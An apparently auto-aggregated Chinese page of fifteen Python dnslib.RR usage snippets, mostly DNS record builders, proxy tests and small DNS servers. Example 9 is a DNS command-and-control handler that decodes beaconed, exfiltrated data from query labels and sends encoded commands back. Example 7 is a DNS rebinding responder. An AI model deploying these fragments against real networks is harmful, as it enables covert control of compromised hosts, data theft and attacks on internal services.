本文整理汇总了Python中dnslib.RR属性的典型用法代码示例。如果您正苦于以下问题:Python dnslib.RR属性的具体用法?Python dnslib.RR怎么用?Python dnslib.RR使用的例子?那么恭喜您, 这里精选的属性代码示例或许可以为您提供帮助。您也可以进一步了解该属性所在类dnslib
的用法示例。
在下文中一共展示了dnslib.RR属性的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: __init__
# 需要导入模块: import dnslib [as 别名]
# 或者: from dnslib import RR [as 别名]
def __init__(self, rname, rtype, args):
self._rname = DNSLabel(rname)
rd_cls, self._rtype = TYPE_LOOKUP[rtype]
if self._rtype == QTYPE.SOA and len(args) == 2:
# add sensible times to SOA
args += (SERIAL_NO, 3600, 3600 * 3, 3600 * 24, 3600),
if self._rtype == QTYPE.TXT and len(args) == 1 and isinstance(args[0], str) and len(args[0]) > 255:
# wrap long TXT records as per dnslib's docs.
args = wrap(args[0], 255),
if self._rtype in (QTYPE.NS, QTYPE.SOA):
ttl = 3600 * 24
else:
ttl = 300
self.rr = RR(
rname=self._rname,
rtype=self._rtype,
rdata=rd_cls(*args),
ttl=ttl,
)
示例2: test_on_upstream_response_BD
# 需要导入模块: import dnslib [as 别名]
# 或者: from dnslib import RR [as 别名]
def test_on_upstream_response_BD(greendns):
qname = "google.com"
s = init_greendns_session(greendns, qname, dnslib.QTYPE.A)
res = dnslib.DNSRecord(dnslib.DNSHeader(qr=1, aa=1, ra=1),
q=dnslib.DNSQuestion(qname),
a=dnslib.RR(qname,
rdata=dnslib.A("1.2.3.4"),
ttl=3))
s.server_resps[local_dns1] = bytes(res.pack())
resp = greendns.on_upstream_response(s, local_dns1)
assert not resp
res.rr[0].rdata = dnslib.A("172.217.24.14")
s.server_resps[foreign_dns] = bytes(res.pack())
resp = greendns.on_upstream_response(s, foreign_dns)
assert resp
d = dnslib.DNSRecord.parse(resp)
assert str(d.rr[0].rdata) == "172.217.24.14"
示例3: test_on_upstream_response_AC
# 需要导入模块: import dnslib [as 别名]
# 或者: from dnslib import RR [as 别名]
def test_on_upstream_response_AC(greendns):
qname = "www.coding.net"
s = init_greendns_session(greendns, qname, dnslib.QTYPE.A)
res = dnslib.DNSRecord(dnslib.DNSHeader(qr=1, aa=1, ra=1),
q=dnslib.DNSQuestion(qname),
a=dnslib.RR(qname,
rdata=dnslib.A("120.132.59.101"),
ttl=3))
s.server_resps[foreign_dns] = bytes(res.pack())
resp = greendns.on_upstream_response(s, foreign_dns)
assert not resp
res.rr[0].rdata = dnslib.A("219.146.244.91")
s.server_resps[local_dns1] = bytes(res.pack())
resp = greendns.on_upstream_response(s, local_dns1)
assert resp
d = dnslib.DNSRecord.parse(resp)
assert str(d.rr[0].rdata) == "219.146.244.91"
示例4: test_on_upstream_response_BC
# 需要导入模块: import dnslib [as 别名]
# 或者: from dnslib import RR [as 别名]
def test_on_upstream_response_BC(greendns):
qname = "www.x.net"
s = init_greendns_session(greendns, qname, dnslib.QTYPE.A)
res = dnslib.DNSRecord(dnslib.DNSHeader(qr=1, aa=1, ra=1),
q=dnslib.DNSQuestion(qname),
a=dnslib.RR(qname,
rdata=dnslib.A("8.8.8.8"),
ttl=3))
s.server_resps[local_dns1] = bytes(res.pack())
resp = greendns.on_upstream_response(s, local_dns1)
assert not resp
res.rr[0].rdata = dnslib.A("1.2.4.8")
s.server_resps[foreign_dns] = bytes(res.pack())
resp = greendns.on_upstream_response(s, foreign_dns)
assert resp
d = dnslib.DNSRecord.parse(resp)
assert str(d.rr[0].rdata) == "1.2.4.8"
示例5: test_on_upstream_response_invalid_A
# 需要导入模块: import dnslib [as 别名]
# 或者: from dnslib import RR [as 别名]
def test_on_upstream_response_invalid_A(greendns):
qname = "www.x.net"
s = init_greendns_session(greendns, qname, dnslib.QTYPE.A)
res = dnslib.DNSRecord(dnslib.DNSHeader(qr=1, aa=1, ra=1),
q=dnslib.DNSQuestion(qname),
a=dnslib.RR(qname,
rdata=dnslib.A("1.2.4.8"),
ttl=3))
s.server_resps[local_dns1] = bytes(res.pack())
resp = greendns.on_upstream_response(s, local_dns1)
d = dnslib.DNSRecord.parse(resp)
assert str(d.rr[0].rdata) == "1.2.4.8"
s.server_resps[local_dns1] = b'123456'
resp = greendns.on_upstream_response(s, local_dns1)
assert not resp
示例6: response
# 需要导入模块: import dnslib [as 别名]
# 或者: from dnslib import RR [as 别名]
def response(self):
if self.lookup().is_valid():
record = dnslib.DNSRecord(
dnslib.DNSHeader(id=self._record.header.id, qr=1, rd=1, ra=1),
q=dnslib.DNSQuestion(self.domain)
)
for address in self.multiaddr:
answer = dnslib.RR(address.domain,
ttl=address.ttl_now,
rtype=qtype[address.rtype],
rclass=_class[address.rclass],
rdata=getattr(dnslib, address.rtype)(address.ip))
record.add_answer(answer)
packs = record.pack()
else:
try:
packs = self.dnsLookup.record.pack()
except DNSLookupException:
return b''
return packs
示例7: handle
# 需要导入模块: import dnslib [as 别名]
# 或者: from dnslib import RR [as 别名]
def handle(self):
record = ''
ttl = int(common.conf_read('ttl'))
record_type = common.conf_read('type')
rebinding = common.conf_read('rebinding')
rebindflag = int(common.conf_read('rebindflag'))
client = self.client_address
req = dnslib.DNSRecord.parse(self.packet).reply()
qname = req.q.qname.__str__()
if rebinding != 'False' and rebindflag == 1:
if rebinding == 'True': record = client[0]
else: record = rebinding
common.conf_set({"rebindflag": "2"})
else:
record = common.analy_req(qname)
common.conf_set({"rebindflag": "1"})
try:
if record:
req.add_answer(dnslib.RR(qname, eval('dnslib.QTYPE.{}'.format(record_type)),rdata=eval('dnslib.{}(record)'.format(record_type)),ttl=ttl))
else:
print 'found query'
except Exception,e:
print e
exit()
示例8: as_rr
# 需要导入模块: import dnslib [as 别名]
# 或者: from dnslib import RR [as 别名]
def as_rr(self, alt_rname):
return RR(rname=self._rname or alt_rname, rtype=self._rtype, **self.kwargs)
示例9: dns_handler
# 需要导入模块: import dnslib [as 别名]
# 或者: from dnslib import RR [as 别名]
def dns_handler(s, peer, data):
global data_received
command = pick_command()
msg = "C" + base64.b32encode(command).replace("=",'')
beacon = False
request = DNSRecord.parse(data)
id = request.header.id
qname = request.q.qname
qtype = request.q.qtype
if qname.label[2] == TARGETED_DOMAIN:
data = qname.label[0]
if len(data) > 10:
data = data[10:]
if len(data) % 8 != 0:
data = data + ("=" * (8 - len(data) % 8))
decoded_data = base64.b32decode(data)
if len(decoded_data) == 4:
if decoded_data == decoded_data.upper():
decoded_data = decoded_data + " [BEACON]"
beacon = True
if data_received != "":
print "[+] Decoded Data Received: %s" % (data_received)
data_received = ""
else:
data_received += decoded_data
print "[+] Raw Data Received: %s" % qname.label[0]
if beacon: print "[+] Sending Command: %s | Encoded: %s" % (command, msg)
if not beacon: msg = "C"
reply = DNSRecord(DNSHeader(id=id, qr=1, rd=1, ra=1), q=request.q)
if qtype == QTYPE.TXT:
reply.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(msg)))
else:
reply.add_answer(RR(qname, QTYPE.CNAME, rdata=CNAME(msg)))
s.sendto(reply.pack(), peer)
示例10: handle
# 需要导入模块: import dnslib [as 别名]
# 或者: from dnslib import RR [as 别名]
def handle(self):
data = self.request[0]
d = dnslib.DNSRecord.parse(data)
id = d.header.id
sock = self.request[1]
res = dnslib.DNSRecord(dnslib.DNSHeader(qr=1, aa=1, ra=1, id=id),
q=dnslib.DNSQuestion(qname),
a=dnslib.RR(qname,
rdata=dnslib.A("101.226.103.106"),
ttl=3))
sock.sendto(bytes(res.pack()), self.client_address)
示例11: test_on_client_request_with_cached
# 需要导入模块: import dnslib [as 别名]
# 或者: from dnslib import RR [as 别名]
def test_on_client_request_with_cached(greendns):
qname = "qq.com"
id = 1024
s = init_greendns_session(greendns, qname, dnslib.QTYPE.A, id)
res = dnslib.DNSRecord(dnslib.DNSHeader(qr=1, aa=1, ra=1),
q=dnslib.DNSQuestion(qname),
a=dnslib.RR(qname,
rdata=dnslib.A("101.226.103.106"),
ttl=3))
greendns.cache.add(("qq.com.", 1), res, 3)
is_continue, raw_resp = greendns.on_client_request(s)
assert not is_continue
assert raw_resp
d = dnslib.DNSRecord.parse(raw_resp)
assert d.header.id == id
示例12: test_on_client_request_with_cache_expired
# 需要导入模块: import dnslib [as 别名]
# 或者: from dnslib import RR [as 别名]
def test_on_client_request_with_cache_expired(greendns):
qname = "qqq.com"
id = 1024
s = init_greendns_session(greendns, qname, dnslib.QTYPE.A, id)
res = dnslib.DNSRecord(dnslib.DNSHeader(qr=1, aa=1, ra=1),
q=dnslib.DNSQuestion(qname),
a=dnslib.RR(qname,
rdata=dnslib.A("101.226.103.106"),
ttl=3))
greendns.cache.add(("qqq.com.", 1), res, 3)
time.sleep(4)
is_continue, raw_resp = greendns.on_client_request(s)
assert is_continue
assert not raw_resp
示例13: test_on_upstream_response_not_A
# 需要导入模块: import dnslib [as 别名]
# 或者: from dnslib import RR [as 别名]
def test_on_upstream_response_not_A(greendns):
qname = "www.microsoft.com"
qresult = "www.microsoft.com-c-2.edgekey.net."
s = init_greendns_session(greendns, qname, dnslib.QTYPE.CNAME)
res = dnslib.DNSRecord(dnslib.DNSHeader(qr=1, aa=1, ra=1),
q=dnslib.DNSQuestion(qname),
a=dnslib.RR(qname,
rtype=dnslib.QTYPE.CNAME,
rdata=dnslib.CNAME(qresult),
ttl=3))
s.server_resps[local_dns1] = bytes(res.pack())
resp = greendns.on_upstream_response(s, local_dns1)
assert resp
d = dnslib.DNSRecord.parse(resp)
assert str(d.rr[0].rdata) == qresult
示例14: test_shuffer_A
# 需要导入模块: import dnslib [as 别名]
# 或者: from dnslib import RR [as 别名]
def test_shuffer_A(greendns):
qname = "qq.com"
id = 1024
s = init_greendns_session(greendns, qname, dnslib.QTYPE.A, id)
res = dnslib.DNSRecord(dnslib.DNSHeader(qr=1, aa=1, ra=1),
q=dnslib.DNSQuestion(qname),
a=dnslib.RR(qname,
dnslib.QTYPE.CNAME,
rdata=dnslib.CNAME("https.qq.com"),
ttl=3))
res.add_answer(dnslib.RR(qname,
rdata=dnslib.A("101.226.103.106"),
ttl=3))
res.add_answer(dnslib.RR(qname,
rdata=dnslib.A("101.226.103.107"),
ttl=3))
greendns.cache.add(("qq.com.", 1), res, 3)
d = None
for i in range(10):
is_continue, raw_resp = greendns.on_client_request(s)
assert not is_continue
assert raw_resp
d = dnslib.DNSRecord.parse(raw_resp)
if str(d.rr[1].rdata) == "101.226.103.107":
break
assert d.rr[0].rtype == dnslib.QTYPE.CNAME
assert str(d.rr[1].rdata) == "101.226.103.107"
示例15: handle
# 需要导入模块: import dnslib [as 别名]
# 或者: from dnslib import RR [as 别名]
def handle(self):
request = dnslib.DNSRecord.parse(self.packet).reply()
qname = str(request.q.qname)
record, ttl, recordType = self.server.getRecord(qname)
answer = dnslib.DNSRecord.question(qname)
request.add_answer(
dnslib.RR(
qname,
getattr(dnslib.QTYPE, recordType),
rdata=getattr(dnslib, recordType)(record),
ttl=ttl
)
)
print('[%s] %s %s %s' % (time.time(), self.client_address, qname, record))
self.wfile.write(request.pack())